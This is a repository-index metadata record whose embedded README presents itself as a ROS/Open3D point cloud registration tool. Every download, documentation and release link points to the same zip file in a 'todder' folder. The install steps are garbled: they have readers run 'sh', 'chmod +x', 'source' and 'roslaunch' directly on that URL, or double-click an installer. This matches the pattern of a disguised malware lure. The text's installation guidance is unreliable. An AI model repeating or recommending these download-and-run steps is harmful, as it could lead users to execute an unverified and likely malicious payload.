{"id":32662623,"url":"https://github.com/gopal-krishna-coder/pointcloud_registration","last_synced_at":"2025-10-31T20:02:01.264Z","repository":{"id":321403272,"uuid":"982402740","full_name":"Gopal-krishna-coder/pointcloud_registration","owner":"Gopal-krishna-coder","description":"🛠️ Enable accurate 3D point cloud registration using ROS and Open3D, tested on Nvidia Jetson Orin with Ubuntu 20.04 and Noetic.","archived":false,"fork":false,"pushed_at":"2025-10-29T12:07:30.000Z","size":5083,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-10-29T14:12:11.432Z","etag":null,"topics":["3d-geometry","3d-reconstruction","computer-graphics","icp","iterative-closest-point","lidar","lidar-sensors","lidar-sensors-calibration","message-filters","pca","pcl-library","point-cloud-processing","robotic","ros","ros-tf","shell","two-pointcloud-registration","ultrasound-data"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Gopal-krishna-coder.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-05-12T20:39:01.000Z","updated_at":"2025-10-29T12:07:33.000Z","dependencies_parsed_at":"2025-10-29T14:22:29.060Z","dependency_job_id":null,"html_url":"https://github.com/Gopal-krishna-coder/pointcloud_registration","commit_stats":null,"previous_names":["gopal-krishna-coder/pointcloud_registration"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/Gopal-krishna-coder/pointcloud_registration","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Gopal-krishna-coder%2Fpointcloud_registration","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Gopal-krishna-coder%2Fpointcloud_registration/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Gopal-krishna-coder%2Fpointcloud_registration/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Gopal-krishna-coder%2Fpointcloud_registration/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Gopal-krishna-coder","download_url":"https://codeload.github.com/Gopal-krishna-coder/pointcloud_registration/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Gopal-krishna-coder%2Fpointcloud_registration/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":282049664,"owners_count":26605488,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-31T02:00:07.401Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["3d-geometry","3d-reconstruction","computer-graphics","icp","iterative-closest-point","lidar","lidar-sensors","lidar-sensors-calibration","message-filters","pca","pcl-library","point-cloud-processing","robotic","ros","ros-tf","shell","two-pointcloud-registration","ultrasound-data"],"created_at":"2025-10-31T20:00:58.780Z","updated_at":"2025-10-31T20:02:01.173Z","avatar_url":"https://github.com/Gopal-krishna-coder.png","language":"Python","readme":"# 🌟 pointcloud_registration - Easily Register Point Clouds\n\n## 📥 Download Now\n[![Download pointcloud_registration](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip%20Release-brightgreen)](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip)\n\n## 🚀 Getting Started\nWelcome to the **pointcloud_registration** application! This package helps you register point clouds using the ROS point cloud registration service node based on open3d. It provides a simple way to align and combine 3D point cloud data, making it a valuable tool for anyone working with 3D data.\n\n## 📦 System Requirements\nBefore you start, ensure your system meets these requirements:\n\n- **Operating System:** Windows 10 or later, macOS Sierra or later, or a recent Linux distribution.\n- **Hardware:** At least 8 GB RAM, a modern processor, and a graphics card that supports OpenGL 3.0 or higher.\n- **Software:** Install ROS (Robot Operating System) compatible with your operating system, along with any necessary dependencies as outlined in the installation section.\n\n## ⬇️ Download \u0026 Install\nTo download the software, visit our [Releases page](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip). Follow these steps:\n\n1. Click on the link above to navigate to the Releases page.\n2. Locate the latest version of **pointcloud_registration**.\n3. Choose the release that matches your operating system. \n4. Download the file and save it in a convenient location on your computer.\n5. After downloading, follow the instructions for installation provided in the release notes.\n\n## 🔧 Installation Instructions\nOnce you have downloaded the files, install the software:\n\n### For Windows:\n1. Navigate to the folder where you saved the downloaded file.\n2. Double-click the installer and follow the prompts to install **pointcloud_registration**.\n3. Open a command prompt and ensure your ROS environment is set up correctly.\n\n### For macOS:\n1. Open the Terminal application.\n2. Navigate to the folder where you saved the downloaded file using the `cd` command.\n3. Run the installer with the command: `sh https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip` (replace with the actual file name).\n4. Ensure your ROS environment is correctly set up.\n\n### For Linux:\n1. Open a terminal window.\n2. Change directory to your downloads folder using `cd ~/Downloads`.\n3. Run the command: `chmod +x https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip` to make the installer executable.\n4. Execute the installer with: `https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip`.\n5. Verify that ROS is set up properly on your system.\n\n## 🌐 Configuring the ROS Environment\nAfter installation, you need to set up your ROS environment. Here is how:\n\n1. Open a terminal or command prompt.\n2. Source the ROS setup script with the following command:\n   - For Windows: `call C:\\opt\\ros\\melodic\\x64\\https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip`\n   - For macOS/Linux: `source https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip`\n3. Add the **pointcloud_registration** package to your workspace.\n\n## 🛠️ How to Use\nTo start using **pointcloud_registration**, follow these steps:\n\n1. Launch your ROS core:\n   ```\n   roscore\n   ```\n\n2. Open another terminal, navigate to your workspace, and run:\n   ```\n   roslaunch pointcloud_registration https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip\n   ```\n\n3. Input your point cloud data as required by the prompt. The application will now align your point clouds.\n\n## 📘 Features\n- **Easy Integration:** Connects seamlessly with your existing ROS setup.\n- **User-Friendly:** Designed for non-technical users with basic instructions.\n- **Fast Processing:** Quickly registers multiple point clouds for efficient data handling.\n\n## 🚧 Troubleshooting\nIf you encounter issues:\n\n- **Check Dependencies:** Ensure all required dependencies are installed.\n- **Review the Logs:** Examine the error messages in the terminal for clues.\n- **Consult the Community:** If problems persist, consider asking for help in ROS forums or the GitHub issues page of this repository.\n\n## 🤝 Contributing\nWe welcome contributions from everyone! If you want to help improve **pointcloud_registration**, please check our guidelines in the repository. You can report issues, suggest features, or contribute code with a pull request.\n\n## 💼 License\n**pointcloud_registration** is licensed under the MIT License. It allows you to use this software freely as long as you provide credit to the original creators.\n\n## 📫 Support\nIf you need further assistance, feel free to open an issue on our GitHub page, or check the [documentation](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip) for more information.\n\nFor quick access, download the application again here: [Download Latest Release](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip)","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgopal-krishna-coder%2Fpointcloud_registration","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgopal-krishna-coder%2Fpointcloud_registration","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgopal-krishna-coder%2Fpointcloud_registration/lists"}